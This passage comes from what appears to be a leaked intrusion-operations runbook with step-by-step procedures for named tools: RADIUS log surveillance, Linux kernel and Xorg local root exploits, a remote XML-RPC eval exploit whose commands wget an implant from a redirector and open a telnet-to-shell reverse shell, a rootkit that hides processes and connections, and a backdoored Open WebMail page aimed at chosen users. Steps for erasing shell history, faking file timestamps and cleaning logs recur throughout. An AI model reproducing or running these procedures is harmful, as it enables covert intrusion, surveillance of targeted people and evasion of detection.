8325#:%s/PARTIAL_MATCH_TARGS/PARTIAL_MATCH_TARGS/g
8326#:%s/EXACT_MATCH_TARGS/EXACT_MATCH_TARGS/g
8327
8328
8329### get the date of the current radius log on the radius server
8330-lt /var/log/radius/ # (find the most current, should be last file in list)
8331-lt /var/log/radius/<date> # (file needed is the acct.log file)
8332
8333
8334### run the following from radius server
8335-gs parse_rads -h # (for -gs parse_rads usage syntax)
8336
8337-gs parse_rads ROUTER_IP RANDOM_HIGH /var/log/radius/CURRENT_DATE/acct.log
8338
8339
8340### Will check to make sure the log file exists, check to makes sure the
8341### "-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp" command was run, and then
8342### starts a "tail -f" on the logfile to constantly bring the file home,
8343### this gives you two pastables: a "-tunnel PORT udp" command to run on the
8344### radius server, and a "parse_rads.pl" one to run in a locally scripted window
8345
8346
8347### run the "-tunnel" (use the one spit out, the one below is an example) on
8348### the box that will be talking to SNAT
8349-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp
8350
8351
8352### IN A LOCALLY SCRIPTED WINDOW (pastable given by -gs parse_rads command)
8353parse_rads.pl -h # for help with pastable options (run locally)
8354
8355
8356### Below is an example command, will need to use the pastable spit out by
8357### "-gs parse_rads" for the current session, but some things will need to
8358### be added to the command spit out, i.e. -p/-P args (phone numbers), the
8359### -R arg (treat already downloaded data as real-time, i.e. set up initial
8360### rules based on it), the IP address of the proxy, and any other stuff to
8361### play with
8362###
8363### -N -a -i are filled in by -gs parserads. Others need to be added manually
8364
8365PORT=LOCAL_TUNNEL_COMMANDS_PORT parse_rads.pl -NRADIUS_IP:NOPEN_PID -a127.0.0.1:RANDOM_HIGH -i/current/down/HOSTNAME.RADIUS_IP/var/log/radius/CURRENT_DATE/acct.log -p PARTIAL_MATCH_TARGS -P EXACT_MATCH_TARGS -R PROXY_IP
8366
8367### Will ask for pager numbers, and ask for confirmation that a sufficiently
8368### up-to-date version of SNAT is being used, go ahead and confirm these
8369
8370### Should be able to get other instructions for DRAFTBAGGER UI
8371
8372
8373### when Op is complete, in the DB command window, run the following to close out
8374### NOTE: ANSWER "no" TO THE PROMPT ASKING WHETHER TO KEEP THE SNAT
8375### FILTERS ACTIVE
8376diediedie
8377
8378### Ctrl-C your "tail -f" command on RADIUS server, or kill the appropriate pid
8379
8380### In a local window, you can use the scripts "closetunnel" and "dotunnel" to
8381### interact with a -tunnel listening on a port for commands rather than stdin
8382### (i.e. "-tunnel LOCAL_TUNNEL_COMMANDS_PORT udp")
8383### "dotunnel" will send all command line args to that port for -tunnel to get
8384### "closetunnel" has hard-coded "c 1 2 3 4 5 6 7", and then "q"...this will
8385### get the Nopen prompt back
8386
8387# Examples:
8388dotunnel s
8389dotunnel l 1390 1.2.3.4 139
8390closetunnel
8391
8392### CLOSE OUT THE REST OF THE OP AS YOU WOULD NORMALLY
8393
8394
8395###
8396### END File user.tool.draftbagger.COMMON
8397### (see also ../etc/user.tool.draftbagger.COMMON)
8398
8399###
8400### BEGIN File user.tool.elgingamble.COMMON (see also ../etc/user.tool.elgingamble.COMMON)
8401###
8402
8403#######################################
8404# ELGINGAMBLE
8405#######################################
8406
8407### local exploit for the following operating system versions:
8408### Linux 2.6.13 - 2.6.17.4 and certain distros that contain a backport of the
8409### vulnerable functionality
8410
8411### Local exploit for the public prctl core dump vulnerability in recent Linux kernels.
8412### It takes advantage of an input validation/logic error in the kernel to create
8413### a cron script that will spawn a root shell.
8414
8415### OPSEC:
8416### vulnerability: public
8417### exploit: public
8418
8419
8420###
8421### CHECK IF TARGET IS VULNERABLE
8422###
8423
8424### check OS (for Linux 2.6.13 - 2.6.17.4)
8425uname -a
8426
8427### make sure crond is running:
8428ps -ef | grep crond
8429
8430### check if you have READ permission on /etc/cron.d (WRITE is part of the vuln.):
8431-lt /etc/cron.d
8432
8433### make sure you have EXECUTE permission on crontab:
8434which crontab
8435-lt /usr/bin/crontab
8436
8437### check if there is a cron.allow or cron.deny that might hinder your success:
8438-lt /etc/cron*
8439-cat /etc/cron.allow
8440-cat /etc/cron.deny
8441
8442
8443###
8444### if the above checks pass, you can try running it:
8445### USAGE:
8446
8447# elgingamble:
8448# -h (optional) Prints a help message
8449# -d (optional) Used to specify the system cron directory (defaults /etc/cron.d)
8450# -p (optional) Used to specify the core file prefix (defaults cron.PID)
8451# -s (optional) Used to specify a shell besides /bin/sh
8452# -t (optional) Used to specify the exploit timeout (defaults 5 minutes)
8453
8454### upload to target:
8455-put /current/up/elgingamble eg
8456
8457### within nopen, run it from within -shell
8458-shell
8459./eg
8460
8461# You'll see the following messages, you must wait for the cronjob to run:
8462
8463 # can't set core limit, trying indirect
8464 # crontab installed
8465 # must do crontab -r when finished
8466 # waiting for re-exec, ETA 60-120s
8467
8468# after waiting for the cronjob, run the following and start a new noserver
8469# once you gain root access:
8470
8471unset HISTFILE
8472unset HISTSIZE
8473unset HISTFILESIZE
8474id
8475PATH=. sendmail
8476
8477
8478### connect to privileged noserver:
8479-nstun TARGET_IP
8480
8481
8482### CLEANUP:
8483crontab -l
8484crontab -r
8485-lt /etc/cron.d
8486-rm /etc/cron.d/core.PID
8487-rm eg sendmail
8488-lt
8489
8490
8491### LOGS:
8492-lt /var/log/cron
8493-tail /var/log/cron
8494
8495
8496
8497
8498###
8499### TROUBLESHOOTING
8500###
8501
8502# Exploit fails with message "kernel not vulnerable". The kernel is not vulnerable
8503# to exploitation.
8504# Remedy:None
8505
8506# Exploit fails with message "failed: indirect". The exploit tried and failed to
8507# have cron call it indirectly to bypass resource limitations. This can occur if
8508# the crontab program is not installed, could not be found, or is restricted through
8509# the use of cron.allow and cron.deny.
8510# Remedy:Make sure crontab is installed on the system and useable by the system
8511# user you use to run the exploit.
8512
8513# Exploit fails with message "failed". The exploit was unable to elevate to root.
8514# This indicates that the cron command was never executed. One possible reason for
8515# failure is if the coredump created in the system cron directory is too small to
8516# contain a valid cron command. Other reasons could be that the cron directory
8517# is not accessible by non-priveleged users, or the cron daemon is not running on the system.
8518# Remedy:Make sure the cron daemon is running and the user running the exploit
8519# has read access to the system cron directory. Also check the core file limit.
8520#
8521
8522# Description: Any other failure message. Remedy: Make sure the default exploit parameters,
8523# such as cron directory and core file prefix, are valid for the target system.
8524# If not, rerun the exploit and specify the appropriate parameters on the command line.
8525
8526###
8527### END File user.tool.elgingamble.COMMON
8528### (see also ../etc/user.tool.elgingamble.COMMON)
8529
8530###
8531### BEGIN File user.tool.enoltog.COMMON (see also ../etc/user.tool.enoltog.COMMON)
8532###
8533
8534#######################################
8535# ENOLTOG
8536#######################################
8537
8538### Software modification to the Open WebMail software to target specific users of interest.
8539### Used to insert a FOXACID/HUFFMUSH tag.
8540### Version 1 will target the first five users to login into the system.
8541### Version 2 will target specific users.
8542
8543### NOTE: Due to the uniqueness of each target and the source code modification required,
8544### SUGGEST DEVELOPER BE PRESENT DURING INITIAL DEPLOYMENT TO TARGET!!!!!!
8545###
8546
8547### OPSEC:
8548# anyone viewing the source file will be able to see the added code.
8549
8550
8551### INITIAL INSTALLATION PROCEDURE:
8552
8553### access target
8554### pull original openwebmail file
8555locate openwebmail-main.pl
8556
8557-get /var/www/cgi-bin/openwebmail/openwebmail-main.pl
8558
8559
8560
8561###
8562### LOCALLY do the following:
8563###
8564
8565### make a backup copy
8566cd /current/up
8567cp /current/down/HOSTNAME//var/www/cgi-bin/openwebmail/openwebmail-main.pl /current/up/openwebmail-main.pl
8568
8569
8570### edit ##ONE## of the following files, depending on the deployment type:
8571
8572
8573 ### For openwebmail-main-first-five-users.pl:
8574 #############################################
8575 # change the "<5" to the correct number of users
8576 # change the target tag in the gif line - should NOT reuse the same
8577 # target tag on different projects!!!!
8578
8579
8580
8581 ### For openwebmail-main-users-time.pl:
8582 #############################################
8583 ### determine the md5sum on each user:
8584
8585 echo -n USERNAME | md5sum
8586
8587 ### use the md5sum as the tasking name in the lines that begin with "$md5 eq"
8588 # change the target tag in the gif line - should NOT reuse the same
8589 # target tag on different projects!!!!
8590
8591
8592
8593### next, edit the local copy of the original file, and insert the code from the above
8594### step in the correct places
8595
8596vi /current/up/m
8597
8598
8599###
8600### On target, upload the modified openwebmail:
8601###
8602
8603mkdir /tmp/.scsi
8604-cd /tmp/.scsi
8605-put openwebmail-main.pl m
8606-put openwebmail-test.pl o
8607
8608
8609### test that the version will first work:
8610./o
8611-ls
8612-strings rpm.db
8613-rm o rpm.db
8614
8615### get ready to overwrite:
8616
8617md5sum /var/www/cgi-bin/openwebmail/openwebmail-main.pl
8618diff /var/www/cgi-bin/openwebmail/openwebmail-main.pl m
8619-ls /var/www/cgi-bin/openwebmail
8620-ls
8621cat m > /var/www/cgi-bin/openwebmail/openwebmail-main.pl
8622
8623
8624### fix timestamps
8625
8626-touch /var/www/cgi-bin/openwebmail/openwebmail-folder.pl /var/www/cgi-bin/openwebmail/openwebmail-main.pl
8627-ls /var/www/cgi-bin/openwebmail
8628
8629
8630
8631###
8632### LOGGING:
8633###
8634locate access
8635-ls /var/log/httpd
8636-tail /var/log/httpd/access_log
8637tail -300 /var/log/httpd/access_log|grep openwebmail-main.pl
8638
8639
8640###
8641### CLEANUP DIRECTORY:
8642###
8643-rm m
8644-cd ..
8645-rm .scsi
8646-ls -t
8647
8648
8649
8650
8651
8652
8653
8654### TROUBLESHOOTING:
8655
8656# Determine the MD5 digest of the user
8657echo -n <USERNAME> | md5sum
8658
8659# Determine if showthread.php is executable
8660
8661-ls /var/www/cgi-bin/openwebmail/openwebmail-main.php
8662
8663# upload and run test script openwebmail-test.pl
8664
8665-put /current/up/openwebmail-test.pl o
8666./o
8667
8668# should see
86691
86702
8671# clean up results
8672
8673
8674###
8675### END File user.tool.enoltog.COMMON
8676### (see also ../etc/user.tool.enoltog.COMMON)
8677
8678###
8679### BEGIN File user.tool.excelberwick.COMMON (see also ../etc/user.tool.excelberwick.COMMON)
8680###
8681
8682#######################################
8683# EXCELBERWICK
8684#######################################
8685
8686### remote exploit against xmlrpc.php on Unix platforms
8687###
8688### WILL REQUIRE LOCAL ELEVATION
8689
8690### sybil location: CGI-BIN
8691
8692### Exploits a vulnerability in the XML-RPC PHP script. The vulnerable
8693### file is used in a large number of web applications, such as Drupal,
8694### b2evolution, and TikiWiki. The vulnerability is the result of
8695### unsanitized data being passed directly to the eval() call
8696### in the parseRequest() function of the XML-RPC server
8697
8698### OPSEC:
8699### vulnerability: public
8700### exploit: public
8701
8702### Usage:
8703# ./xp_xmlrpc.pl
8704 usage: ./xp_xmlrpc.pl -i<host> -d<dir/file> -c<commands to run>
8705
8706 -i <host/IP, ex: 127.0.0.1>
8707 -d </directory/xmlrpc.php, ex: /drupal/xmlrpc.php>
8708 -p <port, default: 80>
8709 -o <turn off IDS mode>
8710 -v <for virtual host: default -i>
8711 -a <automatically exploit all known scripts. Very noisy.>
8712 0: /xmlrpc.php
8713 1: /blog/xmlrpc.php
8714 2: /blog/xmlsrv/xmlrpc.php
8715 3: /blogs/xmlsrv/xmlrpc.php
8716 4: /drupal/xmlrpc.php
8717 5: /phpgroupware/xmlrpc.php
8718 6: /wordpress/xmlrpc.php
8719 7: /xmlrpc/xmlrpc.php
8720 8: /xmlsrv/xmlrpc.php
8721 9: /b2/xmlsrv/xmlrpc.php
8722 10: /b2evol/xmlsrv/xmlrpc.php
8723 11: /community/xmlrpc.php
8724 12: /blogs/xmlrpc.php
8725 -c <commands to run>
8726
8727 Examples:
8728 1) ./xp_xmlrpc.pl -i127.0.0.1 -d/drupal/xmlrpc.php -c"uname -a;ls -la;w"
8729 2) ./xp_xmlrpc.pl -i127.0.0.1 -d/drupal/xmlrpc.php -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://555.1.2.150:5555/sendmail -Osendmail;chmod +x sendmail;D=-c555.1.2.150:9999 PATH=. sendmail) 2>/dev/null"
8730
8731
8732### Check if PHP is there:
8733
8734# from redirector:
8735-scan http TARGET_IP
8736
8737# The response should include "PHP/" though the version doesn't necessarily matter
8738# Ex. response: Server: Apache/2.0.40 (Red Hat Linux) mod_perl/1.99_05-dev Perl/v5.8.0 mod_auth_pgsql/0.9.12 PHP/4.2.2 mod_python/3.0.0 Python/2.2.1 mod_ssl/2.0.40 OpenSSL/0.9.6b DAV/2
8739
8740
8741mx
8742:%s/TARGET_IP/TARGET_IP/g
8743:%s/WEB_PORT/WEB_PORT/g
8744:%s/NETCAT_PORT/NETCAT_PORT/g
8745:%s/REDIR_IP/REDIR_IP/g
8746:%s/NOPEN_PORT/NOPEN_PORT/g
8747'x
8748
8749
8750
8751### Then check if vulnerable by running the "-a" option to exhaust all options
8752# WEB-PORT is usually '80' unless the target is using something else, or you
8753# choose to tunnel it differently
8754
8755# redirector:
8756-tunnel
8757l WEB_PORT TARGET_IP
8758
8759# local script window:
8760./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -a -c"w"
8761
8762### Look through the output; a successful hit will be followed by
8763### the results of the command issued by the "-c" option, in the suggested case,
8764### the results of "w'
8765### Each unsuccessful version will be followed by "404 not found" errors
8766
8767### If the previous command yielded a successful attempt, then run the exploit again
8768### but substitute the version that was successful instead of using "-a"
8769
8770
8771### Prepare the appropriate nopen version with an http header:
8772# Locally:
8773ls -l /current/up/noserver
8774file noserver
8775echo -e 'HTTP/1.0 200\n' > new
8776cat new ../up/morerats/noserver*-i586.pc.linux.gnu.redhat-5.0 > /current/up/sendmail
8777
8778nc -l -v -p NETCAT_PORT < sendmail
8779
8780
8781# on redirector:
8782-nrtun NOPEN_PORT
8783
8784
8785### Replace "VERSION" with the appropriate php script, then run exploit to upload and execute nopen:
8786
8787
8788./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -d"VERSION" -c"mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://REDIR_IP:NETCAT_PORT/sendmail -Osendmail;chmod +x sendmail;D=-cREDIR_IP:NOPEN_PORT PATH=. sendmail) 2>/dev/null"
8789
8790
8791### connect:
8792
8793-nstun TARGET_IP
8794
8795###
8796### TROUBLESHOOTING:
8797###
8798
8799# Try this to get interactive windows (you'll type in one, and get output in the other):
8800
8801mx
8802:%s/PORT1/PORT1/g
8803:%s/PORT2/PORT2/g
8804'x
8805
8806# Local scripted window #1:
8807
8808nc -l -vv -p PORT1
8809
8810
8811# Local scripted window #2:
8812
8813nc -l -vv -p PORT2
8814
8815
8816# Local scripted window #3:
8817
8818./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -d"VERSION" -c"sleep 100 | telnet REDIR_IP PORT1 | /bin/sh | telnet REDIR_IP PORT2"
8819
8820
8821
8822
8823
8824###
8825### CLEANUP:
8826###
8827
8828# Logging directory depends on type of web software running on target (check -find):
8829# Try /var/log/httpd:
8830# access_log
8831# referer_log
8832# error_log
8833
8834
8835###
8836### END File user.tool.excelberwick.COMMON
8837### (see also ../etc/user.tool.excelberwick.COMMON)
8838
8839###
8840### BEGIN File user.tool.dittoclass.COMMON (see also ../etc/user.tool.dittoclass.COMMON)
8841###
8842
8843##### DITTOCLASS #####
8844
8845### Search/replace commands
8846### OLD PKG NAME: if DC prev installed, name of pkg, if not then leave alone
8847### OLD DITTOCLASS DIR: if DC prev installed, directory where it was installed
8848### NEW PKG NAME: name of new DC installation package
8849### NEW DITTOCLASS DIR: directory where DC will be installed
8850
8851:%s/OLD_PKG_NAME/OLD_PKG_NAME/g
8852:%s/OLD_DITTOCLASS_DIR/OLD_DITTOCLASS_DIR/g
8853:%s/NEW_PKG_NAME/NEW_PKG_NAME/g
8854:%s/NEW_DITTOCLASS_DIR/NEW_DITTOCLASS_DIR/g
8855
8856
8857### Check to see if DITTOCLASS already on target (if fails, not implanted).
8858### Make sure check for other implants too.
8859### NOTE: Must use "cat", "-cat" will not work
8860### Doing "cat /proc/OLD_PKG_NAME" will register you to see hidden resources
8861### If neither of the "cat" commands work and you think there is an old
8862### installation, the "ls" command below should still work, if not there is
8863### probably nothing there
8864cat /proc/listfiles
8865cat /proc/OLD_PKG_NAME
8866ls -la /OLD_DITTOCLASS_DIR/OLD_PKG_NAME
8867
8868
8869### If DITTOCLASS already there but needs to be upgraded, go ahead and
8870### uninstall it, if not skip to "Upload the DC package and run..."
8871-ls /OLD_DITTOCLASS_DIR/uninstall_OLD_PKG_NAME.sh
8872
8873# If it exists
8874/OLD_DITTOCLASS_DIR/uninstall_OLD_PKG_NAME.sh
8875
8876
8877### After uninstall, in a NOPEN window, grep for the old package name
8878### and kill any of the processes associated with it
8879netstat -anlp | grep OLD_PKG_NAME
8880ps -ef | grep OLD_PKG_NAME
8881
8882kill -9 OLD_PKG_NAME_PIDS
8883
8884
8885### Make sure old connections/processes gone
8886netstat -anlp | grep OLD_PKG_NAME
8887ps -ef | grep OLD_PKG_NAME
8888
8889
8890### Make sure unable to connect with hector if connected with hector before
8891# Use whatever command used to get on
8892cd /current/bin
8893hector .... # your previous hector command line
8894
8895
8896### Upload the DC package and run the install script
8897### Removes itself upon installation
8898-put /current/up/NEW_PKG_NAME.tar.gz m.tar.gz2
8899tar zxvf m.tar.gz
8900-lt
8901./install.sh
8902
8903
8904### Assuming installation script did not return any errors...
8905### Check to see if DC is seemingly working by seeing if the files are
8906### in fact being hidden
8907-lt /NEW_DITTOCLASS_DIR/ # should NOT see NEW_PKG_NAME in this listing
8908-lt /NEW_DITTOCLASS_DIR/NEW_PKG_NAME # SHOULD see NEW_PKG_NAME in this listing
8909
8910
8911### A little bit more search/replace fun
8912### TARGET IP: duh
8913### TARGET TRIGGER PORT: duh
8914### HECTOR CALLBACK IP: the IP for target to callback to (probably the window
8915### with the -tunnel)
8916### HECTORi CALLBACK PORT: the port for target to callback to
8917### RAWSEND PORT: local port to redirect the trigger packet
8918### SPOOF SRC IP: source IP of trigger packet
8919### BACKDOOR KEY: key to verify whether to call back or not
8920### should be located in:
8921### /current/bin/varkeys/projectname/ip.host/dittoclass
8922:%s/TARGET_IP/TARGET_IP/g
8923:%s/TARGET_TRIGGER_PORT/TARGET_TRIGGER_PORT/g
8924:%s/HECTOR_CALLBACK_IP/HECTOR_CALLBACK_IP/g
8925:%s/HECTOR_CALLBACK_PORT/HECTOR_CALLBACK_PORT/g
8926:%s/RAWSEND_PORT/RAWSEND_PORT/g
8927:%s/SPOOF_SRC_IP/SPOOF_SRC_IP/g
8928:%s/BACKDOOR_KEY/BACKDOOR_KEY/g
8929
8930
8931### Setup tunnel on redirector to contact agamemnon with hector
8932-tunnel
8933u TARGET_TRIGGER_PORT TARGET_IP
8934r HECTOR_CALLBACK_PORT
8935
8936### Setup -rawsend for hector
8937-rawsend RAWSEND_PORT
8938
8939##### Connect to agamemnon from LOCAL WINDOW
8940cd /current/bin
8941
8942### For hector help in case need to play with the trigger line and the
8943### -tunnel stuff to get it right
8944./hector -v -h
8945
8946./hector --backdoor --target-ip TARGET_IP --dest-port TARGET_TRIGGER_PORT --spoof-srcip SPOOF_IP --listen-port HECTOR_CALLBACK_PORT --control-ip HECTOR_CALLBACK_IP --udp -Z 127.0.0.1:RAWSEND_PORT --backdoor-trigger BACKDOOR_KEY
8947
8948### Once connected to target thru hector
8949mkdir /tmp/.pci
8950cd /tmp/.pci
8951
8952!help!
8953
8954### To send a file via hector
8955### NOTE: Assume the working dir on target is "/tmp/.dir"
8956### Uploading the filename "crond" will be named "/tmp/.dir/crond" on target
8957### Uploading the filename "/etc/passwd" will be named "/tmp/.dir/_etc_passwd"
8958### on target
8959
8960### Upload and run a NOPEN listener
8961!sendfile!
8962cp /current/up/morerats/NOPEN_TO_UPLOAD /current/bin/crond
8963crond # what called noserver in /current/down/HOSTNAME.TARGET_IP
8964PATH=. D=-lRANDOM_PORT crond
8965
8966### From redirector:
8967-nstun TARGET_IP:RANDOM_PORT
8968
8969### Or callbacks (may need to use this for multiple windows instead of -call)
8970PATH=. D=-cHECTOR_CALLBACK_IP:RANDOM_PORT crond
8971
8972-nrtun RANDOM_PORT
8973-call HECTOR_CALLBACK_IP:RANDOM_PORT
8974
8975
8976### Register to be allowed to see hidden files/processes/conns
8977!register!
8978# Enter the new package name at prompt "Please enter the package name:"
8979NEW_PKG_NAME
8980# must see NEW_PKG_NAME> REGISTERED to know you are successful
8981
8982
8983### Hide processes and ports from hector window
8984# In each nopen window:
8985-pid
8986
8987ps -auxww | grep crond
8988netstat -an | grep HECTOR_CALLBACK_IP
8989
8990# Hide process in hector window (to unhide, run !unhideproc!)
8991!hideproc!
8992Please enter the Process ID you wish to unhide: PID_TO_HIDE
8993
8994# Confirm in unregistered nopen window that pid is hidden
8995ps -auxww | grep PID_TO_HIDE
8996
8997# Hide connection in hector window (to unhide, run !unhideconn!)
8998# NOTE: Always hide the end of the redirector, don't hide the target's
8999# Otherwise, legitimate connections might not show up
9000!hideconn!
9001Please enter the IP Address you wish to hide: HECTOR_CALLBACK_IP
9002Please enter the port you wish to hide: NOPEN_PORT
9003
9004# Confirm in unregistered nopen window that conn is hidden
9005netstat -an | grep NOPEN_PORT
9006
9007# make sure processes and connections are hidden
9008!listconns!
9009!listprocs!
9010
9011# to exit hector
9012<ctrl><d>
9013
9014
9015### Startup script
9016### Can modify startup script to add strifeworld or other progs that
9017### need to be started on boot
9018-lt /etc/rc#.d/S55NEW_PKG_NAME
9019-get /etc/rc#.d/S55NEW_PKG_NAME
9020
9021### After modified...
9022-put MODIFIED_SCRIPT s
9023
9024touch -r /etc/rc#.d/S55NEW_PKG_NAME t
9025cat s > /etc/rc#.d/S55NEW_PKG_NAME
9026touch -r t /etc/rc#.d/S55NEW_PKG_NAME
9027
9028-rm s t
9029
9030####################################################################
9031
9032###
9033### END File user.tool.dittoclass.COMMON
9034### (see also ../etc/user.tool.dittoclass.COMMON)
9035
9036###
9037### BEGIN File user.tool.expitiatezeke.COMMON (see also ../etc/user.tool.expitiatezeke.COMMON)
9038###
9039
9040#############################
9041### EXPITIATEZEKE
9042#############################
9043
9044### local exploit against the Linux 2.6.5 - 2.6.6 Fedora Core 2 kernel.
9045
9046### EXPITIATEZEKE takes advantage of the chown vulnerability which allows
9047### you change the gid on any file on the system to the current users gid.
9048
9049### This exploit is packaged into a single executable that when run
9050### will create a temporary file (shell spawning program), change the
9051### group owner of the device file of the partition that the temp file
9052### resides on (i.e. If the temp file was /tmp/file12345678 and /tmp was
9053### mounted on /dev/hdb3 then the device file /dev/hdb3 would have its
9054### group ownership changed.)
9055### After this takes place a cache flushing procedure occurs syncing the
9056### running filesystem with the contents of the disk.
9057### Once this finishes and if successful, a root shell is returned to the operator.
9058
9059### OPSEC: vulnerability - public
9060
9061### NOTE: This will cause a temporary CPU spike during execution; care should be taken
9062### to determine the risk if there are active users on the target
9063
9064
9065
9066
9067###
9068### Get a "before" picture of the device where /tmp resides
9069###
9070
9071# find the device that is mounted on /tmp (ex.- /dev/hdb3) and make note;
9072# if /tmp does not have its own filesystem, use the device of "/"
9073
9074df -k
9075
9076# look at the perms of the DEVICE, then make note of the group id; typically should be "disk"
9077# ex: -ls /dev/hdb3
9078
9079-ls <DEVICENAME>
9080
9081# correlate the groupid to a digit by finding it in /etc/group, then save the numeric value
9082# ex: -grep disk /etc/group
9083
9084-grep <GROUPNAME> /etc/group
9085
9086
9087
9088
9089
9090###
9091### upload and execute
9092###
9093
9094-put /current/up/exze exze
9095
9096# run the script (within nopen, use -shell)
9097-shell
9098./exze
9099
9100### A status code will show up while the program is running.
9101### The following value should indicate potential success: 0x000 <gid on device file>
9102### The <gid> should be the same as you found out from the initial checks
9103### MAKE NOTE OF THE VALUE REPORTED BACK ON THIS INITIAL ATTEMPT IN CASE OF FAILURE!!!
9104
9105### Any value other than 0x000 is an error code (see other documentation)
9106### Wait about 5 minutes (for the cache flushing) and you should get a root prompt, then:
9107
9108unset HISTFILE
9109unset HISTSIZE
9110unset HISTFILESIZE
9111id
9112
9113# start a new noserver
9114PATH=. crond
9115
9116
9117
9118
9119
9120
9121###
9122### IF AT FIRST YOU DON'T SUCCEED....... try, try..... the following in order:
9123###
9124
9125### If you received an error that permissions didn't change, you may try again.
9126### Next, try using the -r option. This option will prevent the temporary shell
9127### file from being removed if there is an error so that the operator will have a chance
9128### to do the cache flushing manually.
9129
9130-shell
9131./exze -r
9132
9133### if successful, run the "unset"s from above - you have root and can cleanup
9134
9135### If the 'permissions didn't change' error still happens, the flushing procedure
9136### will need to be performed manually before proceeding to the next step.
9137
9138find / -type f -exec cat {} \; > /dev/null
9139
9140### ONLY AFTER the 'find' completes, check the permissions of the shell file in /tmp:
9141### should be rws--x--- and owned by root
9142### DO NOT EXECUTE, OPEN, READ, OR WRITE TO THE SHELL FILE BEFORE THE EXPLOIT FINISHES
9143### AS IT MIGHT UNDO THE CHANGES MADE TO THE DISK!! THIS MEANS DO NOT DO AN LS
9144### ON THE FILE OR TOUCH IT IN ANY MANNER UNTIL THE EXPLOIT COMPLETES.
9145
9146-lt /tmp
9147
9148### if the permissions have changed, then manually attempt to get a root shell;
9149### the -d and -i options will attempt to perform the cleanup of the shell file in /tmp
9150### and reset the group perms of the DEVICE
9151
9152-lt /tmp
9153-shell
9154/tmp/file<######> -d <DEVICE> -i <GID>
9155
9156### if you don't get root by now, you probably won't
9157
9158
9159###
9160### CLEANUP
9161###
9162
9163### no cleanup if successful the first time, however....
9164
9165### there may be cleanup involved under the following conditions:
9166### the exploit did NOT work on the first attempt
9167### the exploit was aborted
9168### the connection to target was dropped
9169
9170### check the group id of the DEVICE where /tmp resides;
9171### if the group is not the same as it was originally, set it to
9172### the gid echoed back in your INITIAL ATTEMPT (digit following 0x000)
9173
9174
9175### NOTE: if you didn't get root, you may not be able to chgrp the device
9176### but hopefully, the exploit will have set it to gid '0' to be
9177### less conspicuous than that of your user's gid
9178
9179-lt /dev/<DEVICENAME>
9180chgrp <GID> /dev/<DEVICENAME>
9181-lt /dev
9182
9183
9184# the shell file (/tmp/file######) may need to be cleaned up on target:
9185-lt /tmp
9186-rm /tmp/file*
9187
9188
9189# remove the binary from /tmp
9190-rm exze
9191
9192
9193
9194###
9195### END File user.tool.expitiatezeke.COMMON
9196### (see also ../etc/user.tool.expitiatezeke.COMMON)
9197
9198###
9199### BEGIN File user.tool.englandbogy.COMMON (see also ../etc/user.tool.englandbogy.COMMON)
9200###
9201
9202#######################################
9203# ENGLANDBOGY
9204#######################################
9205
9206### local exploit against Xorg for the following versions:
9207### Xorg X11R7 1.0.1, X11R7 1.0, X11R6 6.9
9208### Includes the following distributions:
9209### MandrakeSoft Linux 10.2, Ubuntu 5.0.4, SuSE Linux 10.0,
9210### RedHat Fedora Core5, MandrakeSoft Linux 2006.0
9211### Fails-on - Xorg X11R7 1.0.2 and greater and less than Xorg X11R6 6.9.
9212### Requirements - Target needs to have the Xorg binary as SETUID root.
9213###
9214
9215### Exploits the Xorg X server by allowing unprivileged users load arbitrary modules
9216
9217### OPSEC:
9218### vulnerability: public
9219### exploit: public
9220
9221### Determine if vulnerable:
9222
9223uname -a
9224
9225### get Xorg version; should be one listed above:
9226
9227Xorg -version
9228
9229### see if Xorg is setuid root- should look similar to this (-rwsr-xr-x )
9230
9231ls -la /usr/bin/Xorg
9232
9233
9234### if tests pass, let's do it:
9235
9236-put /current/up/eb eb
9237
9238-shell
9239./eb
9240
9241# lots of output similar to this:
9242
9243 X Window System Version 6.9.0
9244 Release Date: 21 December 2005
9245 X Protocol Version 11, Revision 0, Release 6.9
9246 Build Operating System: SuSE Linux [ELF] SuSE
9247 Current Operating System: Linux linux 2.6.16-rc5-git2-2-default #1 Tue Feb 28 09 :16:17 UTC 2006 i686
9248 Build Date: 26 February 2006
9249 Before reporting problems, check http://wiki.X.Org
9250 to make sure that you have the latest version.
9251 Module Loader present
9252 Markers: (--) probed, (**) from config file, (==) default setting,
9253 (++) from command line, (!!) notice, (II) informational,
9254 (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
9255 (++) Log file: "Xorg.log", Time: Tue Jun 6 10:31:57 2006
9256 (==) Using config file: "/etc/X11/xorg.conf"
9257 (EE) LoadModule: Module bitmap does not have a bitmapModuleData data object.
9258 (EE) Failed to load module "bitmap" (invalid module, 0)
9259 (EE) LoadModule: Module pcidata does not have a pcidataModuleData data object.
9260 (EE) Failed to load module "pcidata" (invalid module, 0)
9261
9262 Fatal server error:
9263 Unable to load required base modules, Exiting...
9264
9265
9266 Please consult the The X.Org Foundation support
9267 at http://wiki.X.Org
9268 for help.
9269 Please also check the log file at "Xorg.log" for additional information.
9270
9271
9272
9273### you probably have root now, so do your unsets:
9274
9275unset HISTFILE
9276unset HISTSIZE
9277unset HISTFILESIZE
9278id
9279
9280### start a new noserver as root:
9281
9282PATH=. crond
9283
9284
9285### Connect to nopen:
9286
9287-nstun TARGET_IP
9288
9289### CLEANUP:
9290
9291# no logging
9292
9293
9294###
9295### END File user.tool.englandbogy.COMMON
9296### (see also ../etc/user.tool.englandbogy.COMMON)
9297
9298###
9299### BEGIN File user.tool.earlyshovel.COMMON (see also ../etc/user.tool.earlyshovel.COMMON)
9300###
9301
9302#########################################################
9303# EARLYSHOVEL
9304#########################################################
9305### publicly known vulnerability
9306### remote exploit available for linux RH7 running sendmail
9307###Supported targets:
9308### "ASPRH73": ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6
9309### "RH70": RedHat 7.0 running Sendmail 8.11.0
9310### "RH71": RedHat 7.1 running Sendmail 8.11.2
9311### "RH73": RedHat 7.3 running Sendmail 8.11.6
9312### requires valid user name ( 7.1 and 7.3)
9313### may also require valid domain for (7.3)
9314
9315
9316
9317
9318mx
9319:%s/REDIRECTOR_IP/REDIRECTOR_IP/g
9320:%s/TARGET_IP/TARGET_IP/g
9321:%s/TARGET_OS/TARGET_OS/g
9322:%s/USER_NAME/USER_NAME/g
